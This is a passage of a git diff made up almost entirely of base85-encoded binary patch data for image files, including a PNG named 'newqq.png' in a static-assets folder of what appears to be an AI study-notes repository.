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 W@o=o_Dw$UPsXZ8L-Q>spclLi2%n?Qa literal 0 HcmV?d00001 diff --git a/4.人工智能/static/newqq.png b/4.人工智能/static/newqq.png new file mode 100644 index 0000000000000000000000000000000000000000..7e42dd3ea6923e660e3257185f1e751bdeae688d GIT binary patch literal 51173 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 